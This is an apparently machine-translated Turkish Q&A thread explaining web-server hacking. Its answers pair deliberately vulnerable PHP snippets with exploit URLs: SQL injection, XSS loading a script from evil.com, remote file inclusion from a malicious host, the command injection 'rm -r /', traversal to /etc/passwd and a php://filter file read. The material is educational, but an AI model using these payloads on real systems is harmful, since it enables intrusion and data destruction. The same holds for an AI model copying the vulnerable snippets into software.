it-swarm-tr.com

Bilgisayar korsanlığı nasıl çalışır?

Özellikle Unix çalıştıran web sunucularından bahsediyorum. Bilgisayar korsanlarının giriş noktasını nasıl aldıklarını hep merak ettim. Demek istediğim, sunucuya sahip oldukları tek giriş yöntemi bir URL olduğunda bir bilgisayar korsanının web sayfasını nasıl hackleyebileceğini görmüyorum. Bir şey eksik olmalıyım, çünkü bilgisayar korsanının sadece URL'yi değiştirerek sunucuya nasıl erişebileceğini göremiyorum.

Giriş noktası ile erişim noktasını kastediyorum. Bir bilgisayar korsanının sunucuya girme yöntemi.

Bir bilgisayar korsanının bir web sunucusuna nasıl giriş noktası oluşturacağına dair bir örnek alabilir miyim? Herhangi bir C dili kabul edilebilir. Kesinlikle hackleme deneyimim yok

Basit bir örnek takdir edilecektir.

98
user7360

Yalnızca URL'yi değiştirerek çalışan bilgisayar korsanları

  • Bir yasal ve bir kötü amaçlı örnek
  • Bazı örnekler çalışmak için URL kodlaması gerektirir (genellikle tarayıcı tarafından otomatik olarak yapılır)

SQL Enjeksiyon

kodu:

$username = $_POST['username'];
$pw = $_GET['password'];
mysql_query("SELECT * FROM userTable WHERE username = $username AND password = $pw");

istismar (şifre bilmeden yönetici olarak oturum açar):

example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGet
example.com/?username=Administrator&password=password' or 1=1--

Siteler Arası Komut Dosyası Oluşturma (XSS)

kodu:

$nickname= $_GET['nickname'];
echo "<div>Your nickname is $nickname</div>\n";

istismar (kullanıcıyı ziyaret edenleri bir zombi olarak kaydeder BeEF ):

example.com/?nickname=Karrax
example.com/?nickname=<script src="evil.com/beefmagic.js.php" />

Uzaktan kod yürütme

kod (Tylerl örneği):

<? include($_GET["module"].".php"); ?>

istismar (rasgele kod indirir ve çalıştırır):

example.com/?module=frontpage
example.com/?module=Pastebin.com/mymaliciousscript

Komut enjeksiyonu

kodu:

<?php
echo Shell_exec('cat '.$_GET['filename']);
?>

istismar (kök dizindeki tüm dosyaları silmeye çalışır):

example.com/?filename=readme.txt
example.com/?filename=readme.txt;rm -r /

Kod yerleştirme

kodu:

<?php
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>

exploit (ekrana çok faydalı saldırı bilgisi basan phpinfo () komutunu enjekte eder):

example.com/?arg=1
example.com/?arg=1; phpinfo() 

LDAP enjeksiyonu

kodu:

<?php
$username = $_GET['username'];
$password = $_GET['password'];
ldap_query("(&(cn=$username)(password=$password)")
?>

istismar (yönetici şifresi bilmeden giriş yapar):

example.com/?username=admin&password=adminadmin
example.com/?username=admin&password=*

Yol geçişi

kodu:

<?php
include("./" . $_GET['page']);
?>

istismar (getirmeler/etc/passwd):

example.com/?page=front.php
example.com/?page=../../../../../../../../etc/passwd

Yönlendirme/İleri saldırı

kodu:

 <?php
 $redirectUrl = $_GET['url'];
 header("Location: $redirectUrl");
 ?>

istismar (Kullanıcıyı sayfanızdan kötü sayfaya gönderir):

example.com/?url=example.com/faq.php
example.com/?url=evil.com/sploitCode.php

URL Erişimi Kısıtlanamadı

kodu:

N/A. Lacking .htaccess ACL or similar access control. Allows user to guess or by other 
means discover the location of content that should only be accessible while logged in.

istismar:

example.com/users/showUser.php
example.com/admins/editUser.php

Siteler Arası İstek Sahteciliği

kodu:

N/A. Code lacks page to page secret to validate that request comes from current site.
Implement a secret that is transmitted and validated between pages. 

istismar:

Legal: example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
On evil page: <img src="http://example.com/app/transferFunds?amount=1500
destinationAccount=evilAccount#" width="0" height="0" />

Arabellek taşması (teknik olarak bir URL'ye erişerek, ancak metasploit ile uygulanır

kod:

N/A. Vulnerability in the webserver code itself. Standard buffer overflow

Sömürme (Metasploit + sayaç yorumlayıcı?):

http://www.exploit-db.com/exploits/16798/
189
Chris Dale

(Şu anda) en yaygın yol, PHP uygulamalarındaki deliklerden geçmektedir. Bunun işe yarayabileceği düzinelerce yol vardır, ancak burada basit, kolay bir yol vardır:

Şüphesiz site sahibinin kodunda bir kısayol almaya karar verdiğini düşünün ki http://example.com/site.php?module=xyz aslında bazı şablon Kabuk yükler ve sonra içeriği doldurmak için "xyz.php" çalıştırın. Belki de şöyle bir şey yazıyor:

<h1>My Awesome CMS</h1>
<? include($_GET["module"].".php"); ?>
<p>See what I did there? Wow that was clever.</p>

Bilgisayar korsanı daha sonra aşağıdaki URL'yi kullanarak siteyi ziyaret eder:
http://example.com/site.php?module=http://malicio.us/evilprogram

Şimdi, yerel komut dosyasını yüklemek yerine, PHP söner ve indirir http://malicio.us/evilprogram.php ve yürütür - ne olursa olsun çalışan PHP Saldırganın istediği kodu. Belki spam göndermek, belki bir arka kapı Shell yüklemek, belki yapılandırma dosyaları için şifreleri aramak.

Bir siteyi hacklemenin binlerce yolu vardır, her biri bir sonraki gibi yeni. Neredeyse evrensel olarak, programlarına olası tüm girdileri ve sahip oldukları beklenmedik etkileri düşünmeyen bir programcıyı içeriyorlar.

24
tylerl

Buna bakmanın 2 yolu vardır, sunucunun kendisine veya sunucunun çalıştığı web uygulamasına odaklanabilirsiniz.

Sunucu olarak, bağlanabileceğiniz ve sunucuya erişebileceğiniz hizmetleri çalıştıran açık bağlantı noktalarına sahip olabilir. Bilinen istismarları kullanarak kök erişimi elde edebilirsiniz. Örneğin, Unix için bazı FTP sunucularında kök Kabuk elde etmek için Metasploit gibi araçlar tarafından kullanılabilen güvenlik açıkları vardır.

Bir uygulama olarak, kötü yazılmış veya yapılandırılmış bir uygulamadan yararlanmanın çok fazla yolu vardır. Örneğin, bir SQL sorgusunu GET olarak iletirseniz, SQL Injection saldırı ve dump tüm veritabanlarını gerçekleştirmek için URL'nin kendisini değiştirebilirsiniz. Örneğin (sitenin kodlamasına bağlı olarak): http://www.alanadim.com/products/products.asp?productid=12 UNION SELECT kullanıcı adı, KULLANICILARIN şifresi

Yine, büyük bir konuya dokunuyorsunuz ve umarım bunlar bir sonraki adımlarınıza odaklanmanıza yardımcı olur.

11
schroeder

Kısa Cevap

Bu doğru soru olmayabilir.

Bir hacker ...

... bir sosyal mühendis.

Bilgisayarlarla olan etkileşimlerinden daha çok insanlarla olan etkileşimleriyle ilgileniyorlar. Bir hacker, onu zorlamak yerine ona şifrenizi vermeyi tercih eder.

... bilgi arıyor ...

... ve bilginin güç olduğunu bilir. Bir hacker alma kredi kartı numaranız aslında kullanarak olduğundan daha fazla ilgileniyor.

... ahlakı bahane olarak kullanır ...

... bir sebep değil. Bu yüzden birçok bilgisayar korsanı halka açılmak için ahlaki yönelimli siyasi olaylardan faydalanacaktır. Halkın gözünde eylemlerini mazur göstermek için ahlak kullanabileceklerini biliyorlar.

... istemediği sürece yakalanmaz.

Çoğu zaman. Gizli ya da anonimlik gözetilmeksizin doğrudan zıplayan Wannabe korsanları, bilgisayar korsanlığı topluluğu içinde "senaryo kiddileri" ya da "kayıtsızlar" olarak bilinir. Büyük olasılıkla bilgisayar korsanlarından çok daha fazla kaykaycı vardır ve muhtemelen en büyük rahatsızlığınız olacaktır.

... herhangi bir özel alete ya da arkaya ihtiyaç duymaz.

Sağladığınız ön uç muhtemelen yeterli.

Uzun Cevap

İstediğiniz her şeyi Metasploit'teki istismarlara karşı güvenceye alabilirsiniz. Bir bilgisayar korsanı ön kapıdan içeri girer - neredeyse olmasa da, kelimenin tam anlamıyla.

İstediğiniz Cevap

İnsanların ben verdi yanıtı ne kadar hoş görmediklerini görünce, istediğiniz kadar size biraz daha şey vereceğim.

Bilgisayar korsanları isimsiz kalmayı sever. Herhangi bir saldırının ilk adımı, SOCKS proxy'leri, zombileri veya bir botnet oluşturan basit botlar gibi bir çeşit vekil çizgiyi bir araya getirmektir. Bunun için birkaç yol var, ama tartışma uğruna bazı ölü vekiller alalım. Pastebin.com adresine gidin ve 8080. Bu, web proxy sunucuları için ortak bir bağlantı noktasıdır. Bir IP adresi listesi bulana kadar sonuçlarda aşağı kaydırın ve sonucu görmek için tıklayın. Web proxy'lerinin uzun bir listesine sahip olmalısınız. Hepsinin olmasa da çoğunun öleceğini garanti edebilirim. Maalesef, bu bir bilgisayar korsanlığı eğitimi değil.

Bir sonraki adım, hedefiniz hakkında görünüşte önemsiz bilgiler toplamaktır. Bir bilgisayar korsanı vekilleri kullanarak portcans çalıştırır, sonra bulduğu hizmetleri araştırırdı. Web siteniz mi var? Hadi keşfedelim. MySQL sunucunuz var mı? Bakalım hangi sürüm. SSH mı çalıştırıyorsunuz? Metin şifrelerini kabul edip etmediğini veya sertifikalarla sınırlı olup olmadığını görelim.

Daha sonra bilgisayar korsanı oturur, topladığı şeye bakar ve sistemin en zayıf noktasının ne olduğuna karar verir. Sistemin büyüklüğüne bağlı olarak, geri dönüp biraz daha fazla araştırma yapabilir, eğer araştırılacak daha fazla şey varsa ve yeterince iyi bir zayıflık elde etmediğini hisseder. Bir zayıflığın gerçek bir güvenlik "deliği" olması gerekmez: sadece en zayıf halka olmalıdır. Belki de çekiçlemeye karşı koruma sağlamayan bir FTP sunucunuz var (tekrarlanan giriş denemeleri). Belki bir grup form veya potansiyel olarak yararlanılabilir URL'leri olan bir web sunucunuz olabilir. Bunlar daha fazla araştırmaya değer.

Gerekirse, saldırgan son saldırıyı gerçekleştirmek için bir komut dosyası veya program yazabilir, ancak bu her zaman böyle değildir. Zayıflıkların çoğu mevcut araçlarla sömürülebilir, bu nedenle bu modern hackerlar için genellikle gereksizdir. Ancak, bilgisayar korsanları bazen yazılımda yeni güvenlik açıkları keşfederler, bu durumda bazen söz konusu yazılımdan yararlanmak için özel araçlar yazmaları gerekir.

Açıkça belirgin bir saldırı programına iyi bir örnek, Terraria adlı bir oyun için sunucularda sorun yaratmak için kullanılan programdır. Bu asıl amacı değildi, ancak sunucu yazılımında çeşitli istismarları ortaya çıkardığı için, başkaları tarafından kullanılma eğilimindedir. C # ile yazdım. Kaynak kodu GitHub adresinde bulunabilir. İstismarlar, mevcut istemciyi kötü amaçlı veriler göndermek üzere değiştirmek için bayt kodu manipülasyonu kullanır. Sunucu bu verileri beklemez ve çalışmak üzere tasarlanmadığı şekilde tepki verir. Bunun gibi açıkları keşfetmek, hedef yazılımı tersine mühendislik kadar basit olabilir - basit diyorum çünkü bu C # ve Java gibi modern yansıtıcı dillerle giderek daha kolay bir iş haline geldi. .NET Reflector (ücretli) ve dotPeek (şimdilik ücretsiz) gibi programlar bir düğmeyi tıklatarak bunu mümkün kılar. Yeterince eğitilmiş bir C # programcısı daha sonra kodu gözlemleyebilir, işlevselliğini belirleyebilir ve bu işlevselliği değiştirmek için bir program yazabilir.

7
Zenexer

Bir arkadaşımın bir sitede çalışmak için bir sözleşmesi vardı. Korsanların web sitesine girdiğini ve hoşlanmadığı şeyleri yaptığını fark etti. Bazı günlük dosyalarına baktıktan sonra 'bilgisayar korsanlarının' siteyi bir mysql hatasıyla bulduğunu fark etti.

Sql enjekte edebildiğinizde, kendinize bir hesap oluşturmak gibi istediğinizi yapabilirsiniz. Dosya yükleyebiliyorsanız (özellikle php) dosyayı yürütebilirsiniz. Bunu yürütebilirseniz, linux/windows sunucusunda bir hesabınız olmasa bile sunucu dosya sistemindeki dosyaları okuma/yazma gibi daha fazla hasar verebilirsiniz.

Başka bir teknik, veritabanına girerek, şifreleri (özellikle karma değilse), sitenin aynı IP adresine bir ssh veya ftp bağlantısı kurmaya çalışmaktan ve kullanıcı/şifre kombinasyonlarını denemekten daha fazladır.

Ayrıca kesmek için sunucuya girmenize gerek yok. Tanıştığım biri bana sunucusunda eski yazılımın nasıl kurulduğunu anlattı. Saldırganlar, her index.php ve index.html dosyasına bir kod satırı (iframe eklemek için) enjekte eden kendi php dosyalarını yüklemek ve yürütmek için kullandılar. Aslında hiç kimse siteyi ziyaret edemedi. Yeniden yönlendirdi veya çok sayıda pop-up verdi.

4
user5575

Şifre veya "Joes" içermeyen girişler hakkında kaç kez okuduk? Ön kapıya girmek için Metasploit veya gerçekten egzotik bir şey bilgisi gerektirmez. Biraz soğuk bir sabah bir arabada oturan çalışan bir araba gibi "Lütfen beni çal".

2
jl01

Düşünmeniz için sadece birkaç örnek daha.

Tylerl'in örneğinden sonra:

<?php
   if ( isset( $_GET[ 'id' ] ) ) include( $_GET[ 'id' ] . ".php" );
?>

Saldırı vektörü:

http://victimsite.com/?id=php://filter/read=convert.base64-encode/resource=includes/configure

Bu, güvenli bir kodlama eksikliğinden dolayı base64 saldırısı içeren yerel bir dosyadır, bir saldırgan site veya sunucudaki [.php] ile biten hemen hemen tüm dosyaları okuyabilir, bu durumda configure.php dosyasının içeriğini okuyabilir dosyası, PHP tüm dosya içeriğinin base64_encode değerini kolayca okunabilir metne geri döndürülür.

Ancak, hatalı biçimlendirilmiş URL'nin giriş güvenliği doğrulama delikleri araması gerekmez.

Birçok web ticaret sitesinde, $ PHP_SELF kodu, sitenizin.com/admin/administrators.php dosyasının bulunduğu dosya adını yanlış raporlar; $ PHP_SELF, dosya adını administrators.php olarak bildirdi, ancak login.php, admin/administrators.php/login gibi eklendiyse. php, sonra $ PHP_SELF login.php dosyasını administrators.php yerine dosya adı olarak yanlış bildirir.

Örneğin, bu huşu uyandıran örnekte yönetici oturumu doğrulama sorusu sorulursa:

* (geçerli bir yönetici oturumu değil) ve ($ PHP_SELF = login.php için değilse) login.php'ye yönlendirin *

$ PHP_SELF gerçek dosya adını yanlış bildirdiği için sayfa asla login.php'ye yönlendirmeyecektir, bu nedenle saldırganın doğru kimlik bilgilerine gerek kalmadan administrators.php dosyasına erişimi vardır.

1
Taipo